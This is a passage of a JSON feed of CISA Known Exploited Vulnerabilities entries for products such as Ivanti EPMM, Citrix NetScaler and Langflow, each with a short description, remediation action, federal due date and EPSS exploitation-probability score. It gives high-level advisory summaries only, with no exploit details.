use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-34621","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-34621 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-1340","cveId":"CVE-2026-1340","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability that could allow attackers to achieve unauthenticated remote code execution.","detail":"CISA added this entry on 2026-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-08","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM)","stacks":["Ivanti","Endpoint Manager Mobile (EPMM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-08","dueAt":"2026-04-11","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98639,"percentile":0.99923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-1340&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-1340","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-1340 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-1340&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-1340, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35616","cveId":"CVE-2026-35616","aliases":[],"kind":"vulnerability","title":"Fortinet FortiClient EMS Improper Access Control Vulnerability","summary":"Fortinet FortiClient EMS contains an improper access control vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests.","detail":"CISA added this entry on 2026-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-06","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiClient EMS","stacks":["Fortinet","FortiClient EMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-06","dueAt":"2026-04-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93983,"percentile":0.99845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-35616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-35616","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-35616 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-35616, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-3502","cveId":"CVE-2026-3502","aliases":[],"kind":"vulnerability","title":"TrueConf Client Download of Code Without Integrity Check Vulnerability","summary":"TrueConf Client contains a download of code without integrity check vulnerability. An attacker who is able to influence the update delivery path can substitute a tampered update payload. If the payload is executed or installed by the updater, this may result in arbitrary code execution in the context of the updating process or user.","detail":"CISA added this entry on 2026-04-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-02","updatedAt":null,"regions":["Global"],"vendor":"TrueConf","product":"Client","stacks":["TrueConf","Client"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-02","dueAt":"2026-04-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05577,"percentile":0.92822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-3502&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-3502","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-3502 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-3502&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-3502, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-5281","cveId":"CVE-2026-5281","aliases":[],"kind":"vulnerability","title":"Google Dawn Use-After-Free Vulnerability","summary":"Google Dawn contains an use-after-free vulnerability that could allow a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. This vulnerability could affect multiple Chromium-based products including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2026-04-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-04-01","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Dawn","stacks":["Google","Dawn"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-04-01","dueAt":"2026-04-15","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13514,"percentile":0.96422,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-5281&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-5281","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-04-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-5281 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-5281&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-5281, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-3055","cveId":"CVE-2026-3055","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler Out-of-Bounds Read Vulnerability","summary":"Citrix NetScaler ADC (formerly Citrix ADC), NetScaler Gateway (formerly Citrix Gateway) and NetScaler ADC FIPS and NDcPP contain an out-of-bounds reads vulnerability when configured as a SAML IDP leading to memory overread.","detail":"CISA added this entry on 2026-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-30","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler","stacks":["Citrix NetScaler","Citrix","NetScaler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-30","dueAt":"2026-04-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91491,"percentile":0.99811,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-3055&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-3055","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-3055 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-3055&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-3055, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-53521","cveId":"CVE-2025-53521","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP Stack-Based Buffer Overflow Vulnerability","summary":"F5 BIG-IP APM contains a stack-based buffer overflow vulnerability that could allow a threat actor to achieve remote code execution.","detail":"CISA added this entry on 2026-03-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-27","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP","stacks":["F5 BIG-IP","F5","BIG-IP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-27","dueAt":"2026-03-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02295,"percentile":0.83139,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-53521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-53521","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-53521 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-53521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33634","cveId":"CVE-2026-33634","aliases":[],"kind":"vulnerability","title":"Aquasecurity Trivy Embedded Malicious Code Vulnerability","summary":"Aquasecurity Trivy contains an embedded malicious code vulnerability that could allow an attacker to gain access to everything in the CI/CD environment, including all tokens, SSH keys, cloud credentials, database passwords, and any sensitive configuration in memory.","detail":"CISA added this entry on 2026-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-26","updatedAt":null,"regions":["Global"],"vendor":"Aquasecurity","product":"Trivy","stacks":["Aquasecurity","Trivy"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-26","dueAt":"2026-04-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.59727,"percentile":0.99122,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-33634","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-33634 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33017","cveId":"CVE-2026-33017","aliases":[],"kind":"vulnerability","title":"Langflow Code Injection Vulnerability","summary":"Langflow contains a code injection vulnerability that could allow building public flows without requiring authentication.","detail":"CISA added this entry on 2026-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-25","updatedAt":null,"regions":["Global"],"vendor":"Langflow","product":"Langflow","stacks":["LangChain and Langflow","Langflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-25","dueAt":"2026-04-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96177,"percentile":0.99877,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-33017","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-33017 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-31277","cveId":"CVE-2025-31277","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Buffer Overflow Vulnerability","summary":"Apple Safari, iOS, watchOS, visionOS, iPadOS, macOS, and tvOS contain a buffer overflow vulnerability that could allow the processing of maliciously crafted web content which may lead to memory corruption.","detail":"CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-20","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-20","dueAt":"2026-04-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01658,"percentile":0.76466,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-31277&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-31277","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-31277 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-31277&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-31277, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32432","cveId":"CVE-2025-32432","aliases":[],"kind":"vulnerability","title":"Craft CMS Code Injection Vulnerability","summary":"Craft CMS contains a code injection vulnerability that allows a remote attacker to execute arbitrary code.","detail":"CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-20","updatedAt":null,"regions":["Global"],"vendor":"Craft CMS","product":"Craft CMS","stacks":["Craft CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-20","dueAt":"2026-04-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99792,"percentile":0.99956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32432&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32432","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32432 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32432&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32432, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-43510","cveId":"CVE-2025-43510","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Improper Locking Vulnerability","summary":"Apple watchOS, iOS, iPadOS, macOS, visionOS, and tvOS contain an improper locking vulnerability that could allow a malicious application to cause unexpected changes in memory shared between processes.","detail":"CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-20","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-20","dueAt":"2026-04-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00355,"percentile":0.28983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-43510&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-43510","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-43510 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-43510&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-43510, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-43520","cveId":"CVE-2025-43520","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Classic Buffer Overflow Vulnerability","summary":"Apple watchOS, iOS, iPadOS, macOS, visionOS, and tvOS contain a classic buffer overflow vulnerability which could allow a malicious application to cause unexpected system termination or write kernel memory.","detail":"CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-20","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-20","dueAt":"2026-04-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00425,"percentile":0.36507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-43520&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-43520","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-43520 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-43520&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-43520, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-54068","cveId":"CVE-2025-54068","aliases":[],"kind":"vulnerability","title":"Laravel Livewire Code Injection Vulnerability","summary":"Laravel Livewire contain a code injection vulnerability that could allow unauthenticated attackers to achieve remote command execution in specific scenarios.","detail":"CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-20","updatedAt":null,"regions":["Global"],"vendor":"Laravel","product":"Livewire","stacks":["Laravel","Livewire"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-20","dueAt":"2026-04-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96284,"percentile":0.99878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-54068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-54068","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-54068 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-54068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-54068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20131","cveId":"CVE-2026-20131","aliases":[],"kind":"vulnerability","title":"Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management Deserialization of Untrusted Data Vulnerability","summary":"Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain a deserialization of untrusted data vulnerability in the web-based management interface that could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device.","detail":"CISA added this entry on 2026-03-19. This record's publication date is the catalog 